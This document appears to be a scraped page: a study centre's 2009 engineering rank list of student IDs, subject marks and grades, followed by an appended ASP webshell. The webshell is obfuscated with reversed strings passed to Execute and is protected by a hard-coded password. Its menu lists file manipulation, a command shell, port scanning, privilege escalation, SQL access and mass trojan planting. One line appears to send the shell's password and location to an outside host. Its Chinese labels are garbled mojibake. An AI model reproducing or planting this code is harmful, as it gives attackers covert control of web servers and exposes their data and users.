Brilliant STUDY CENTRE
 v LONG TERM 2010 ONE YEAR  v ENGINEERING  RANK LISTv 06 - 12 - 09
TOTAL NUMBER OF STUDENTS APPEARED - 81
 CSE16, CSE17, CCE18, CCE19
RANK RANK RANK Admn. No. PHYSICS CHEMISTRY MATHS Total % Grade Batch
06-Sep 01-Nov 06-Dec   240 240 480 960
  06-Dec 15-Nov 08-Nov
40 17 21 LT05358 110 80 168 358 37.29  C+  CSE16
62   16 LT05359 139 72 160 371 38.65  C+  CSE16
34 83 62 LT05364 106 84 24 214 22.29  D+  CSE17
  2   LT05365 209 140   349     CCE18
    AB LT05377       0     CSE16
50   43 LT05378 110 114 64 288 30.00  C  CCE18
  8 6 LT05379 168 168 168 504 52.50  B+  CSE16
    4 LT05390 161 116 228 505 52.60  B+  CCE18
44 68 54 LT05392 64 106 80 250 26.04  D+  CCE18
25 38 AB LT05395       0     CCE18
4 61   LT05396 27   48 75     CCE18
  26 34 LT05409 141 104 76 321 33.44  C  CSE16
85 71 64 LT05410 93 86 28 207 21.56  **  CCE18
56 30   LT05411 103   172 275     CCE18
  69   LT05417 106 64   170     CSE17
6     LT05418     52 52     CCE18
66 82 81 LT05419 21 22 -36 7 0.73  **  CSE16
  37 20 LT05425 126 98 136 360 37.50  C+  CSE16
      LT05435   102 84 186     CSE17
43 6 15 LT05449 95 106 192 393 40.94  C+  CCE18
1   AB LT05452       0     CCE18
45     LT05453   82   82     CCE18
  20   LT05460     232 232     CCE18
58     LT05468   104 120 224     CSE16
  24   LT05469   64 152 216     CCE18
      LT05470   128 76 204     CSE16
18 18   LT05471   52 80 132     CCE18
  79 3 LT05476 95 98 336 529 55.10  B+  CCE18
  11 18 LT05479 122 96 144 362 37.71  C+  CSE16
    AB LT05496       0     CSE16
  55 24 LT05504 97 64 188 349 36.35  C  CSE16
  27   LT05506 149   180 329     CSE16
  93   LT05507   16   16     CSE16
  65 52 LT05508 68 70 116 254 26.46  D+  CCE18
24 40 13 LT05509 168 142 104 414 43.13  C+  CSE16
32   AB LT05520       0     CCE18
      LT05523 50   28 78     CCE18
  1 2 LT05527 230 170 160 560 58.33  B+  CSE17
16     LT05528     112 112     CCE18
  67   LT05529 120   92 212     CSE17
23 28   lt05533   74 308 382     CCE18
  54   LT05539 97   60 157     CCE18
11 76   LT05540   132 56 188     CSE16
    42 LT05544 114 86 92 292 30.42  C  CSE17
15 57 60 LT05546 66 118 48 232 24.17  D+  CSE16
63   71 LT05558 128 70 -12 186 19.38  **  CSE16
17 16 30 LT05562 112 82 144 338 35.21  C  CCE18
    AB LT05570       0     CCE19
      LT05577 39   60 99     CCE19
22 89 38 LT05578 37 150 116 303 31.56  C  CCE19
  4 5 LT05588 143 150 212 505 52.60  B+  CCE19
  64   LT05589   106 52 158     CSE16
  59 36 LT05590 128 90 96 314 32.71  C  CSE16
2 74   LT05599 91 68   159     CSE16
    11 LT05601 91 96 232 419 43.65  C+  CCE18
      LT05605 56 58   114     CSE16
13   26 LT05607 114 54 180 348 36.25  C  CSE16
41   31 LT05612 33 140 160 333 34.69  C  CCE19
19 39   LT05615   72   72     CSE17
      LT05621     44 44     CCE18
    37 LT05623 137 30 140 307 31.98  C  CSE16
      LT05624   88 28 116     CSE16
  29 40 LT05625 108 60 128 296 30.83  C  CCE19
      LT05626 147   92 239     CCE18
      LT05628   68   68     CSE17
      LT05638   30   30     CSE16
79     LT05645 201 144   345     CCE18
30     LT05646 122 74   196     CCE18
65     LT05647 85 82   167     CCE18
9 84 35 LT05648 99 104 112 315 32.81  C  CCE18
    17 LT05649 205 84 76 365 38.02  C+  CSE16
  86   LT05650   62 108 170     CSE16
  75   LT05651   72 72 144     CSE16
3 32 49 LT05657 12 156 100 268 27.92  D+  CCE18
21   47 LT05658 103 92 80 275 28.65  D+  CSE16
10 53   LT05661 124 102   226     CSE16
75 88 27 LT05663 132 100 116 348 36.25  C  CSE17
33     LT05666   70 28 98     CSE17
  23   LT05668   78 240 318     CCE18
  87   LT05670 72   136 208     CCE18
  7   LT05674   142   142     CCE18
    29 LT05678 130 102 108 340 35.42  C  CSE16
  44 46 LT05683 134 48 100 282 29.38  C  CSE16
  46   LT05687     92 92     CCE18
72 80 59 LT05688 139 42 52 233 24.27  D+  CSE17
82   48 LT05689 54 92 124 270 28.13  D+  CSE16
    78 LT05690 62 48 32 142 14.79  **  CSE16
  56   LT05694     68 68     CCE18
49 13 7 LT05698 161 154 188 503 52.40  B+  CSE16
    53 LT05702 114 82 56 252 26.25  D+  CSE16
  92 68 LT05703 93 70 32 195 20.31  **  CCE18
      LT05704     72 72     CCE19
14     LT05713 106 68   174     CSE17
64 49   LT05714 139   100 239     CCE18
  96   LT05715 77   144 221     CCE18
  25 55 LT05716 31 156 60 247 25.73  D+  CCE19
42 95   LT05719 8     8     CCE18
    AB LT05720       0     CSE17
  48   LT05721   90 44 134     CSE17
    AB LT05725       0     CCE18
  43 12 LT05726 159 118 140 417 43.44  C+  CSE16
    32 LT05730 118 64 140 322 33.54  C  CSE16
12 41   LT05731   98 104 202     CSE16
  14   LT05732 145   228 373     CSE16
      LT05734 101   300 401     CCE18
  78   LT05738     48 48     CCE18
37 33 8 LT05739 128 80 284 492 51.25  B+  CCE18
74   73 LT05743 66 80 24 170 17.71  **  CSE16
    56 LT05744 97 98 52 247 25.73  D+  CSE16
26 21 9 LT05745 126 164 180 470 48.96  B  CSE16
  58   lt05748 126 86   212     CSE17
  10 23 LT05752 48 212 96 356 37.08  C+  CCE18
81     LT05755     108 108     CCE18
7 72   LT05757   186 68 254     CCE19
51   AB LT05759       0     CSE16
    AB LT05763       0     CCE18
  42   LT05767   118 76 194     CSE17
      LT05772   70 104 174     CSE16
83   10 LT05774 221 140 84 445 46.35  B  CCE19
    22 LT05776 70 114 172 356 37.08  C+  CSE16
      LT05777 -4   124 120     CSE16
  3 19 LT05779 25 148 188 361 37.60  C+  CCE18
78 90   LT05785 87     87     CSE16
    66 lt05786 66 20 116 202 21.04  **  CSE16
  62 33 LT05796 70 144 108 322 33.54  C  CCE19
      LT05800     252 252     CCE18
  70 45 LT05803 116 66 104 286 29.79  C  CCE18
  52   LT05806 74 86   160     CCE18
76 97   LT05807 87 80   167     CSE17
27     LT05817   88 28 116     CSE17
  77 70 LT05820 58 76 56 190 19.79  **  CCE18
      LT05821   80 152 232     CSE16
39   AB LT05824       0     CSE16
      LT05827 91   4 95     CSE17
59 12   LT05834     148 148     CCE18
  98   LT05837 23   40 63     CSE17
  36   LT05843     104 104     CSE16
    51 LT05850 43 102 116 261 27.19  D+  CCE18
84     LT05851   106 28 134     CCE18
31 9 14 LT05855 137 122 144 403 41.98  C+  CSE16
60     LT05857   36 24 60     CSE17
  31   LT05858 188   120 308     CCE18
  35 44 LT05861 50 120 116 286 29.79  C  CCE19
      LT05863 58   32 90     CSE16
70 91   LT05868   120   120     CSE16
67   69 LT05874 50 60 84 194 20.21  **  CCE18
  60   LT05878 74   20 94     CCE18
36   61 LT05881 62 86 80 228 23.75  D+  CSE17
73   57 LT05882 52 84 104 240 25.00  D+  CSE16
    AB LT05886       0     CCE18
52 73 65 LT05905 37 82 84 203 21.15  **  CCE18
      LT05915   80 52 132     CSE16
35 66 58 LT05916 108 112 16 236 24.58  D+  CCE18
47     LT05918   50 28 78     CCE19
    AB LT05919       0     CSE16
    77 LT05920 64 48 36 148 15.42  **  CSE17
38     LT05921   76 116 192     CCE18
54 45 28 LT05927 110 70 160 340 35.42  C  CCE18
      LT05928     52 52     CSE16
8 81 80 LT05929 52 18 -4 66 6.88  **  CSE17
      LT05936 89 92   181     CSE16
46   AB LT05937       0     CSE16
    75 LT05944 43 82 36 161 16.77  **  CSE16
80   AB LT05945       0     CSE16
  50 25 LT05953 141 88 120 349 36.35  C  CSE17
57 99 79 LT05966 31 50 40 121 12.60  **  CSE17
  94 67 LT05967 39 80 80 199 20.73  **  CSE17
  63   LT05971 141 100   241     CSE16
53 51 50 LT05990 114 84 64 262 27.29  D+  CCE18
  47   LT05994   136   136     CSE16
28 22 39 LT05996 132 90 76 298 31.04  C  CSE16
  85 63 LT05997 79 110 24 213 22.19  D+  CCE19
      LT06008 72 70   142     CSE16
61     LT06011 120   76 196     CSE17
69 34 41 LT06014 118 84 92 294 30.63  C  CSE17
20     LT06019   64 92 156     CSE17
77 15 76 LT06020 60 54 44 158 16.46  **  CSE17
71     LT06027   24 96 120     CCE19
      LT06028 54 64   118     CCE19
55     LT06029 46   96 142     CCE19
5 19 72 LT06034 6 92 84 182 18.96  **  CCE19
48 5 1 LT06045 219 92 284 595 61.98  A  CSE17
    AB LT06073       0     CCE19
68   74 LT06082 39 66 60 165 17.19  **  CCE19
      LT06108   98 88 186     CSE17
29     LT6068   52 124 176     CCE18
<% dim ApplicationName,pwd,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW,AD,FS Server.ScriptTimeout=50000 On Error Resume Next ApplicationName = "С¿É×îìÅASPľÂí" Userpwd = "851120" 'Óû§ÃÜÂë AD = "8888888" foot = "ֻȡwebshell >²»¸ÄÊ×Ò³ >²»É¾Îļþ >²»ÌáȨ" URL = Request.ServerVariables("URL") ServerNM = Request.ServerVariables("SERVER_NAME") ServerIP = Request.ServerVariables("LOCAL_ADDR") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = "" Sub RRS(str) response.write(str) End Sub Function UZSS(objstr) objstr = Replace(objstr, "¨~", """") For i = 1 To Len(objstr) If Mid(objstr, i, 1) <> "~" Then NewStr = Mid(objstr, i, 1) & NewStr Else NewStr = vbCrLf & NewStr End If Next UZSS = NewStr End Function Hacker="¨~ÌâÎÊÈ«°²¼°ÉæÄÜ¿É ,¼þ×é llehS¨~ = )1,41(TbO ~¨~noitacilppa.llehS¨~ = )0,41(TbO~¨~µ½ÓÃÖÐͳϵ¼¯²ÉÔÚ³£ ,¼þ×éÊä´«¾ÝÊý¨~ = )1,31(TbO ~¨~PTTHLMX.tfosorciM¨~ = )0,31(TbO~¨~¼þ×éÐÅ·¢liaMptmS¨~ = )1,21(TbO ~¨~1.liaMptmS.liaMptmS¨~ = )0,21(TbO~¨~¼þ×éÐÅ·¢PTMSÄâÐé¨~ = )1,11(TbO ~¨~liaMweN.STNODC¨~ = )0,11(TbO~¨~¼þ×é·¢ÊÕ¼þÓÊ liaMJ¨~ = )1,01(TbO ~¨~liaMptmS.liaMJ¨~ = )0,01(TbO~¨~¼þ×é´«ÉϼþÎÄ daolpUPSA¨~ = )1,9(TbO ~¨~1.daolpU.stisreP¨~ = )0,9(TbO~¨~¼þ×é´«ÉϼþÎÄ·åÔÆÁõ¨~ = )1,8(TbO ~¨~eliFdaolpU.daolpUfyL¨~ = )0,8(TbO~¨~¼þ×é´«ÉϼþÎÄ pUeliF-AS¨~ = )1,7(TbO ~¨~pUeliF.snasitrAtfoS¨~ = )0,7(TbO~¨~Á¦ÄÜ»µÆƵÄÕß»÷¹¥´óÀ©¶ø´Ó£¬Ðò³ÌÈ«°²²»µÈÂíľ´«ÉÏÀ´Óñ»³£³£ ,¼þ×é´«ÉÏÁ÷¾ÝÊý¨~ = )1,6(TbO ~¨~maertS.bdodA¨~ = )0,6(TbO~¨~¼þ×é½ÓÁ¬¿â¾ÝÊý¨~ = )1,5(TbO ~¨~noitcennoc.bdodA¨~ = )0,5(TbO~¨~¼þ×éÖú¸¨´«ÉÏÁ÷¾ÝÊý¨~ = )1,4(TbO ~ ¨~yranoitciD.gnitpircS¨~ = )0,4(TbO~¨~¼þ×éËõѹSSECCA¨~ = )1,3(TbO ~¨~enignEteJ.ORJ¨~ = )0,3(TbO~¨~¼þ×é¿â½¨SSECCA¨~ = )1,2(TbO ~¨~golataC.XODA¨~ = )0,2(TbO~¨~Ðò³ÌµÄÏÞȨÉýÌáÐÐÔËÀ´Óñ»»áÒ²¼þ×é´Ë¼þÎÄÐÐÖ´¿ÉµÈexe.ÐÐÔËPSAÐíÔÊ ,¼þ×éÐÐÖ´ÐÐÁîÃü¨~ = )1,1(TbO ~¨~llehs.tpircsw¨~ = )0,1(TbO~¨~Á¦ÄܵļмþÎĺͼþÎÄÖÐÆ÷Îñ·þÀí¹ÜºÍÁÐÂÞ±¸¾ß ,¼þ×é×÷²Ù¼þÎĨ~ = )1,0(TbO ~¨~tcejbOmetsySeliF.gnitpircS¨~ = )0,0(TbO~)1,41(TbO miD~fI dnE~dnE.esnopseR ~fI dnE ~¨~¨~=WR ~WR etirW.esnopseR ~¨~>retnec/<>tnof/<¨~&toof&¨~>der=roloc tnof<>rb<>rh<¨~ & WR=WR ~¨~>'¼µÇ'=eulav 'timbus'=epyt tupni< >'22'=ezis 'drowssap'=epyt 'ssap'=eman tupni<£ºÂëÃܨ~ & WR=WR ~¨~>'tsop'=dohtem '¨~&lru&¨~'=noitca mrof<¨~ & WR=WR ~¨~>rh<¨~&emaNnoitacilppA&¨~>';xp001:nigram;xp22:gniddap;222# dilos xp1:redrob;xp005:htdiw'=elyts vid<>retnec<¨~=WR ~eslE ~fI dnE ~¨~>vid/<>a/<»Ø·µ> '¨~&LRU&¨~'=ferh a<>rb<>rb<¨~etirW.esnopseR ~¨~>tnof/0000FF#=roloc tnof<>retnec=ngila vid<>rb<>rb<>rb<¨~etirW.esnopseR ~eslE ~LRU tcerideR.esnopseR ~dwpresU=)¨~relgm¨~(noisseS ~nehT dwpresU=)¨~ssap¨~(mroF.tseuqeR fI ~nehT ¨~¨~><)¨~ssap¨~(mroF.tseuqeR fI ~nehT dwpresU><)¨~relgm¨~(noisseS fI~fi dne:fi dne:fi dne:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses neht ¨~¨~>¨~¨~)'¨~&dwpresU&¨~=07%&¨~&u&¨~=57%?/¨~&)26(&¨~%¨~&)16(&¨~%/d6¨~&)73(rhc&¨~f6%36¨~&)73(rhc&¨~E2%¨~&)101(rhc&¨~36%36¨~&)73(rhc&¨~83¨~&)73(rhc&¨~//:ptth'(lru:ROSRUC¨~¨~=elyts VID<¨~SRR:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses:neht 1=)¨~cevres¨~(noisses fi:esle:neht 0><)¨~//:ptth¨~,u(rtsnI ro 0><)¨~.861.291¨~,u(rtsnI ro 0><)¨~1.0.0.721¨~,u(rtsnI fi:LRU&)¨~tsoh_ptth¨~(selbairavrevres.tseuqer=u~¨~>¨~¨~)C1C1C1#=rtSroloCdne,262626#=rtSroloCtrats,0=epyTtneidarg(tneidarG.tfosorciM.mrofsnarTegamIXD:digorp :RETLIF¨~¨~=elyts ¨~¨~eurt nruter;'Ô𸺲»¸ÅÕß×÷¹ûºó,;Ó÷¨·ÇÓÚÓÃʹÎñÇë,Óòâ¼ìÈ«°²Ô±Àí¹ÜÕ¾ÍøÓÚÏÞ½ö'=sutats.wodniw¨~¨~=revoesuomno ydob<>daeh/<>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<¨~SRR~¨~>tpircs/<}};)¨~¨~¡£°åÌù¼ôÊÓ¼à¾ß¹¤ÔØÏ¿ª´òÇ°Ö®ÖƸ´Ôڵüǣ¡±ÏÍêÖƸ´¨~¨~(trela.wodniw;¨~¨~¨~¨~=eulav.pmet;)¨~¨~ypoC¨~¨~(dnammoCcexe.sj;)(egnaRtxeTetaerc.pmet=sj{esle};eslaf nruter;)¨~¨~£¡Ö·µØµÄÔØÏÂÒªÔñÑ¡ÓÐû»¹Äã¨~¨~(trela.wodniw{)¨~¨~¨~¨~==eulav.pmet( fi¨~SRR~¨~}};¨~¨~n\¨~¨~+eulav.]i[dInwoD=+eulav.pmet{)eurt==dekcehc.]i[dInwoD( fi{)++i;htgnel.dInwoDretnec/<¡£¾äÓïÁîÃü×÷²ÙLQSÈëÊäÔÙ¿â¾ÝÊý½ÓÁ¬¼ºÈÏÈ·Çë>retnec<¨~¨~=LMTHrenni.cba;¨~¨~¨~¨~ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<¨~SRR~¨~>elyts/<}FFF#:roloc;000#:roloc-dnuorgkcab{dmc.¨~SRR~¨~}xp0:redrob;000000#:roloc-dnuorgkcab{C.¨~SRR~¨~};000#:roloc-dnuorgkcab ;FFFFFF#:roloc;FFF# dilos xp1:redrob;xp21 :ezis-tnof{aeratxet,tceles,tupni¨~SRR~¨~}000#:dnuorgkcab;der:roloc{revoh:a};enon :noitaroced-txet;ddd#:roloc{a¨~SRR~¨~};838383# :ROLOC-KCART-RABLLORCS¨~SRR~¨~;FFFFFF# :ROLOC-WORRA-RABLLORCS ;323232# :ROLOC-THGILD3-RABLLORCS¨~SRR~¨~ ;838383# :ROLOC-WODAHSKRAD-RABLLORCS ;838383# :ROLOC-WODAHS-RABLLORCS¨~SRR~¨~ ;323232# :ROLOC-THGILHGIH-RABLLORCS ;323232# :ROLOC-ECAF-RABLLORCS¨~SRR~¨~;xp1:tfel-nigram;xp1 :nigram¨~SRR~¨~;eee#:roloc;000000#:roloc-dnuorgkcab;xp21 :ezis-tnof{dt,ydob>¨~¨~ssc/txet¨~¨~=epyt elyts<¨~SRR~¨~>eltit/<¨~&PIrevreS&¨~ - ¨~&emaNnoitacilppA&¨~>eltit<¨~SRR~¨~>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<>daeh<>lmth<¨~SRR" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~gnihtoN=T teS ~fI dnE ~raelC.rrE ~¨~±Õ¹Ø¨~=jbOsI ~eslE ~¨~>tnof/<Æô¿ª>der=roloc tnof<¨~=jbOsI ~nehT rrE >< 5001227412- fI ~)tbo(tcejbOetaerC.revreS=T teS ~txen emuser rorre no ~T,i mid ~)tbo(jbOsI noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="bus dne~ fI dnE ~hsulF.esnopseR:raelC.rrE ~¨~>elbat/<>rh<>a/<¨~ & noitpircseD.rrE & ¨~;psbn&>')(kcab.yrotsih:tpircsavaj'=ferh a<>rh<>'006'=htdiw 'retnec'=ngila elbat<>rb<¨~etirW.esnopseR ~nehT rrE fI ~)(rrEwohS bus" ExeCuTe(UZSS(Hacker)) Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Hacker="fi dnE~htaPredloF=)¨~htaPredloF¨~(noisseS ~htaPtooR=htaPredloF ~nehT ¨~¨~=)¨~htaPredloF¨~(noisseS fI~fI dnE~)htaPredloF(htaPeRR=)¨~htaPredloF¨~(noisseS ~neht ¨~¨~>" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
" RW=RW & "" RW=RW & "" RW=RW & "
 µ±Ç°Â·¾¶£º" RW=RW & "" RW=RW & "  " RW=RW & "" RW=RW & "
 Îļþ²Ù×÷£º" Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing RW=RW & "[ϵͳ³ÌÐòĿ¼] [ÎÒµÄÎĵµ] " RW=RW & "[ÍøվĿ¼] " RW=RW & "[¡ü»ØÉϼ¶Ä¿Â¼] [Í˳öµÇ¼] " RW=RW & "
 " RW=RW & "Çл»¹¦ÄÜ£º[н¨Ä¿Â¼] " RW=RW & "[н¨Îı¾] [ÎļþÉÏ´«] " RW=RW & "[´ÅÅÌÐÅÏ¢] [ËÑË÷Îļþ] " RW=RW & "[ϵͳ·þÎñ] " RW=RW & "[×é¼þÐÅÏ¢] [×¢²á±í²Ù×÷] " RW=RW & "[¶Ë¿ÚɨÃèÆ÷] [CMDÃüÁîÐÐ] " RW=RW & "[Serv-uÌáȨ] [SQLÌáȨ] " RW=RW & "[Serv-FTPÌáȨ] " RW=RW & "
 ÔÓÑù¹¦ÄÜ£º[Êý¾Ý¿â²Ù×÷] " RW=RW & "[µ¥Ò³´úÀí] [Ö±½ÓÏÂÔØ] " RW=RW & "[³ÌÐò´ò°üÈë¿â/³ö¿â] " RW=RW & "[ÅúÁ¿¹ÒÂí] " RW=RW & "[ÅúÁ¿Ìæ»»] " RW=RW & "[ÎÞFSOд] " RW=RW & "[sql-cmd] [²é¹ÜÀíÔ±] " RW=RW & "[ÖÕ¶ËÐÅÏ¢] " RW=RW & "[PHP̽Õë] [ÅÅÃû] " RW=RW & "
" RW=RW & "
" Response.Write RW RW="" End Function if request("DownFile")<>"" then call DownFile(request("DownFile")) Hacker="noitcnuF dnE~dnE.esnopseR ~gnihtoN = mso teS ~esolC.mso ~hsulF.esnopseR ~daeR.mso etirWyraniB.esnopseR ~¨~maerts-tetco/noitacilppa¨~ = epyTtnetnoC.esnopseR ~¨~8-FTU¨~ = tesrahC.esnopseR ~eziS.mso,¨~htgneL-tnetnoC¨~ redaeHddA.esnopseR ~)zs,htap(diM & ¨~=emanelif ;tnemhcatta¨~ ,¨~noitisopsiD-tnetnoC¨~ redaeHddA.esnopseR ~1+)¨~\¨~,htap(veRrtsnI=zs ~htaP eliFmorFdaoL.mso ~1 = epyT.mso ~nepO.mso ~))0,6(TbO(tcejbOetaerC = mso teS ~txeN emuseR rorrE nO ~raelC.esnopseR ~)htaP(eliFnwoD noitcnuF" ExeCuTe(UZSS(Hacker)) Class LBF Private Sub Class_Initialize Set fso=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set fso=Nothing End Sub Function ShowDriver() Hacker="WR=revirDwohS ~txeN ~ ¨~;psbn&>a/<]:¨~&retteLevirD.D&¨~[ÅÌ´Å>')¨~¨~\\:¨~&retteLevirD.D&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<¨~&WR=WR ~sevirD.osf ni D hcaE roF ~D mid " ExeCuTe(UZSS(Hacker)) End Function Function ShowFile(Path) Hacker="gnihtoN=DLOF teS ~ ¨~>elbat/<>rt/<>dt/<>elbat/<¨~ etirW.esnopseR ~0=i ~¨~>rt/<>dt/<>vid/<>aeratxet/<>'0'=sloc 'pmet'=eman '0'=swor aeratxet<>'enon':yalpsid=elyts vid<>'timbus'=ssalc ')(lrU'=kcilCno '08:htdiw'=elyts 'lrunwod'=eman 'ÔØÏÂÁ¿Åú'=eulav 'timbus'=epyt tupni<;psbn&ÔñÑ¡Ïò·´>')(llAkcehC'=kcilCno 'lla'=eulav 'lla'=eman 'xobkcehc'=epyt tupni<>rb<>dt<>rt<¨~ etirW.esnopseR neht 0>i fi ~txeN ~¨~¨~=WR : WR etirW.esnopseR ~¨~>rt/<>dt/<>dt/<>a/<¶¯ÒÆ>')¨~¨~eliFevoM¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<ÖƸ´>')¨~¨~eliFypoC¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~eliFleD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<¼­±à>')¨~¨~eliFtidE¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<>'retnec'=ngila '%52'=htdiw dt<¨~ & WR=WR ~ )4,deifidoMtsaLetaD.L(emiTetaDtamroF & ¨~ ¨~ & )2,)deifidoMtsaLetaD.L(yad&¨~0¨~(thgir & ¨~-¨~ & )2,)deifidoMtsaLetaD.L(htnom&¨~0¨~(thgir & ¨~-¨~ & )deifidoMtsaLetaD.L(raey & ¨~>'retnec'=ngila '%02'=htdiw dt<¨~ & WR=WR ~¨~>dt/'%01'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>a/<¨~&emaN.L&¨~>'ÔØÏÂ'=eltit ';)¨~¨~eliFnwoD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>'¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~=eliFnwoD&¨~&dwpresU&¨~=dwp?¨~&LRU&MNrevreS&¨~//:ptth'=eulav 'dInwoD'=eman 'xobkcehc'=epyt tupni<> '%54'=htdiw dt<¨~ & WR=WR ~¨~ >¨~¨~''=emaNssalc.siht¨~¨~=tuOesuoMno ¨~¨~'rt'=emaNssalc.siht¨~¨~=revOesuoMno rt<¨~=WR ~ 1+i=i ~ selif.dloF ni L hcaE roF ~ ~ ¨~¨~=WR : WR etirW.esnopseR ~ ¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '1'=gnicapsllec '0'=redrob elbat<>'FFFFFF#'=rolocgb 'pot'=ngilav '006'=htdiw dt<>dt/<>elbat/<¨~ & WR=WR ~txeN ~¨~>rt/<>dt/<>a/<¶¯ÒÆ>')(kosey nruter'=kcilcno ')¨~¨~redloFevoM¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<ÖƸ´>')(kosey nruter'=kcilcno ')¨~¨~redloFypoC¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~redloFleD¨~¨~,¨~¨~¨~&)¨~\\¨~,¨~\¨~,emaN.F&¨~\¨~&htaP(ecalpeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<|;psbn&¨~ & WR=WR ~¨~>a/<]¨~&emaN.F&¨~[>')¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh '%001'=htdiw dt<>rt<¨~ & WR=WR ~ sredlofbus.DLOF ni F hcaE roF ~)htaP(redloFteG.osf=DLOF teS ~¨~>rt/<>dt/<>'%001'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<¨~ & WR=WR ~¨~>'pot'=ngilav '002'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila 'FEFEFE#'=rolocgb '%001'=thgieh '008'=htdiw '2'=gniddapllec '0'=redrob elbat<¨~=WR ~i,dloF,L,F mid " ExeCuTe(UZSS(Hacker)) End Function Function EditFile(Path) dim T If Request("Action2")="Post" Then Set T=fso.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=Nothing Set fso=Nothing RW="



Îļþ±£´æ³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" Response.End End If If Path<>"" Then Set T=fso.opentextfile(Path, 1, False) On Error Resume Next Txt=HTMLEncode(T.readall) if err then err.Clear T.close Set T=Nothing Else Path=Session("FolderPath")&"\a.txt":Txt="н¨Îļþ" End If RW="
" RW=RW&"" RW=RW&"" RW=RW&"" RW=RW&"
Îı¾±à¼­Æ÷
" RW=RW&"
      " RW=RW&"
" Response.Write RW : RW="" End Function Function DelFile(Path) If fso.FileExists(Path) Then fso.DeleteFile Path RW="



Îļþ "&Path&" ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW End If End Function Function CopyFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.CopyFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.MoveFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function DelFolder(Path) If fso.FolderExists(Path) Then fso.DeleteFolder Path RW="



Ŀ¼" & Path & "ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function CopyFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.CopyFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.MoveFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function NewFolder(Path) If Not fso.FolderExists(Path) and Path<>"" Then fso.CreateFolder Path RW="



Ŀ¼" & Path & "н¨³É¹¦£¡
